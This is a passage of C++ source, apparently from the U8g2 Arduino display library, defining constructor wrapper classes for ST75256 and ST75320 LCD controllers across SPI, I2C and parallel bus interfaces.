U8G2_ST75256_JLX19296_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX19296_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx19296_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX19296_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX19296_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx19296_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX16080_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX16080_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx16080_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX16080_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX16080_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx16080_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX16080_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX16080_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx16080_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_6800 : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_8080 : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_6800 : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_8080 : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_6800 : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_8080 : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, 